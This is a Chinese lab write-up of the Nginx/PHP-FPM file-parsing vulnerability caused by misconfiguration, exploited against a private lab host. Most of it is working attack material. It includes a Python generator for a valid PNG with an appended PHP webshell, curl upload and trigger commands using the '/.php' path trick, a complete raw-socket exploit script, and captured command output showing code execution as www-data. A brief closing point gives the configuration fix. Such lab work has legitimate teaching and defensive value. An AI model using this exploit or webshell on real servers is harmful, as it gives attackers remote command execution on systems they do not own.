漏洞信息
| 项目 | 内容 |
|---|---|
| 漏洞类型 | Nginx配置不当导致文件解析漏洞 |
| 靶场版本 | Nginx 1.11.13 + PHP 7.1.3 |
| 影响范围 | 任何使用不安全配置的Nginx+PHP环境 |
| 靶机地址 | http://192.168.229.60 |
| 暴露端口 | 80 |
漏洞原理
该漏洞与 Nginx、PHP 版本无关,属于用户配置不当造成的解析漏洞。
Nginx 配置中通过 location ~ \.php$ 将 PHP 文件交给 PHP-FPM 处理:
location ~ \.php$ {
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
fastcgi_pass php:9000;
}
当请求 shell.png/.php 时:
GET /uploadfiles/shell.png/.php HTTP/1.1
↑ Nginx 匹配到 \.php$ → 传给 PHP-FPM
PHP-FPM 收到 SCRIPT_FILENAME = /var/www/html/uploadfiles/shell.png
发现 .php 后缀 → 尝试执行 shell.png 中的 PHP 代码
-
Nginx 的
\.php$匹配到.php结尾 → 传给 PHP-FPM -
PHP-FPM 中的
cgi.fix_pathinfo=1导致 PHP 去除/.php后缀,实际执行的是shell.png -
PNG 文件中的 PHP 代码被成功执行
攻击步骤
Step 1:制作合法的PNG图片并嵌入PHP代码
创建一个 1x1 像素的合法 PNG 文件,并在末尾追加 PHP webshell:
import struct, zlib
# PNG header
sig = b'\x89PNG\r\n\x1a\n'
# IHDR chunk (1x1 RGB)
ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
ihdr = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff)
# IDAT chunk
raw_data = zlib.compress(b'\x00\xff\x00\x00')
idat = struct.pack('>I', len(raw_data)) + b'IDAT' + raw_data + struct.pack('>I', zlib.crc32(b'IDAT' + raw_data) & 0xffffffff)
# IEND chunk
iend = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', zlib.crc32(b'IEND') & 0xffffffff)
# 合成PNG
png_data = sig + ihdr + idat + iend
# 在PNG后面追加PHP代码(用passthru替代system,避免参数类型报错)
php_code = b'<?php passthru($_GET["cmd"]); ?>'
webshell = png_data + php_code
with open('s.png', 'wb') as f:
f.write(webshell)
注意: 使用 passthru() 比 system() 更稳定。system("$_GET['cmd']") 在某些场景下会报 "expects parameter 1 to be string, array given" 错误。
Step 2:上传webshell
上传这个嵌入PHP代码的合法PNG图片:
curl -s -F "file_upload=@s.png" http://192.168.229.60/index.php
上传验证逻辑:
// getimagesize() 检测是否合法图片
if(!getimagesize($_FILES['file_upload']['tmp_name'])){
die('Please ensure you are uploading an image.');
}
// 白名单检测扩展名
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
die('Unsupported filetype uploaded.');
}
-
getimagesize()检测通过 ✅(文件是合法PNG) -
pathinfo()扩展名检测 →.png→ 白名单通过 ✅
文件名重命名规则:
$new_name = __DIR__ . '/uploadfiles/' . md5($_FILES['file_upload']['name']) . ".{$ext}";
上传后文件名变为 md5("s.png") + ".png"。
Step 3:利用解析漏洞执行代码
# 用md5sum算文件名
FN=$(echo -n "s.png" | md5sum | cut -d' ' -f1)
# 触发解析漏洞
curl "http://192.168.229.60/uploadfiles/${FN}.png/.php?cmd=id" --output - 2>/dev/null
Step 4:验证RCE
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
Python版完整利用脚本
import struct, zlib, hashlib, socket
# 1. 生成合法PNG + PHP webshell
sig = b'\x89PNG\r\n\x1a\n'
ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 2, 0, 0, 0)
ihdr = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff)
raw_data = zlib.compress(b'\x00\xff\x00\x00')
idat = struct.pack('>I', len(raw_data)) + b'IDAT' + raw_data + struct.pack('>I', zlib.crc32(b'IDAT' + raw_data) & 0xffffffff)
iend = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', zlib.crc32(b'IEND') & 0xffffffff)
png_data = sig + ihdr + idat + iend + b'<?php passthru($_GET["cmd"]); ?>'
# 2. 上传
s = socket.socket()
s.connect(('192.168.229.60', 80))
boundary = b'----B'
body = (b'--' + boundary + b'\r\n' +
b'Content-Disposition: form-data; name="file_upload"; filename="s.png"\r\n' +
b'Content-Type: image/png\r\n\r\n' +
png_data + b'\r\n' +
b'--' + boundary + b'--\r\n')
req = (b'POST /index.php HTTP/1.1\r\nHost: 192.168.229.60\r\n' +
b'Content-Type: multipart/form-data; boundary=' + boundary + b'\r\n' +
b'Content-Length: ' + str(len(body)).encode() + b'\r\nConnection: close\r\n\r\n' + body)
s.send(req)
s.close()
# 3. 触发解析漏洞
md5name = hashlib.md5(b's.png').hexdigest()
s2 = socket.socket()
s2.connect(('192.168.229.60', 80))
req2 = (f'GET /uploadfiles/{md5name}.png/.php?cmd=id HTTP/1.1\r\n'
f'Host: 192.168.229.60\r\nConnection: close\r\n\r\n').encode()
s2.send(req2)
resp = b''
while True:
try:
d = s2.recv(4096)
if not d: break
resp += d
except: break
s2.close()
print(resp.decode('utf-8', errors='replace'))
Nginx 原始配置文件
server {
listen 80 default_server;
listen [::]:80 default_server;
root /usr/share/nginx/html;
index index.html index.php;
server_name _;
location / {
try_files $uri $uri/ =404;
}
location ~ \.php$ {
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REDIRECT_STATUS 200;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
fastcgi_pass php:9000;
}
}
PHP 上传代码
<?php
if (!empty($_FILES)):
// getimagesize() 检测是否合法图片
if(!getimagesize($_FILES['file_upload']['tmp_name'])){
die('Please ensure you are uploading an image.');
}
// 白名单检测扩展名
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
die('Unsupported filetype uploaded.');
}
// 重命名:MD5(name).扩展名
$new_name = __DIR__ . '/uploadfiles/' . md5($_FILES['file_upload']['name']) . ".{$ext}";
move_uploaded_file($_FILES['file_upload']['tmp_name'], $new_name);
die('File uploaded successfully: ' . $new_name);
endif;
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
关键要点总结
-
✅
/.php后缀触发解析 :Nginx匹配\.php$后将非法PHP文件交给PHP-FPM执行 -
✅ PHP的
cgi.fix_pathinfo=1:PHP自动删除路径中的/.php,尝试执行前面的文件 -
✅ 合法PNG+PHP代码 :PNG是合法的(
getimagesize()通过),但末尾的PHP代码被PHP解释器执行 -
✅ 与CVE-2013-4547的区别:这里不需要空格、空字节、原始socket,URL路径直接用
-
✅ 上传后文件名重命名 :
md5(filename).ext,需计算MD5才能找到文件路径 -
✅ passthru替代system :此处使用
passthru()比system()更稳定,避免参数类型报错 -
⚠️ 该漏洞不是Nginx或PHP的代码漏洞 ,纯属配置不当。升级软件无法修复,需修改配置(如
security.limit_extensions)
验证结果
$ curl "http://192.168.229.60/uploadfiles/f7e9f256e015b7895623b123d13d2917.png/.php?cmd=id" --output - 2>/dev/null
PNG...
IHDwS
݉DATxcʾND®B`uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://192.168.229.60/uploadfiles/f7e9f256e015b7895623b123d13d2917.png/.php?cmd=whoami" --output - 2>/dev/null
PNG...B`www-data
$ curl "http://192.168.229.60/uploadfiles/f7e9f256e015b7895623b123d13d2917.png/.php?cmd=hostname" --output - 2>/dev/null
PNG...B`79a73f4f4d3a
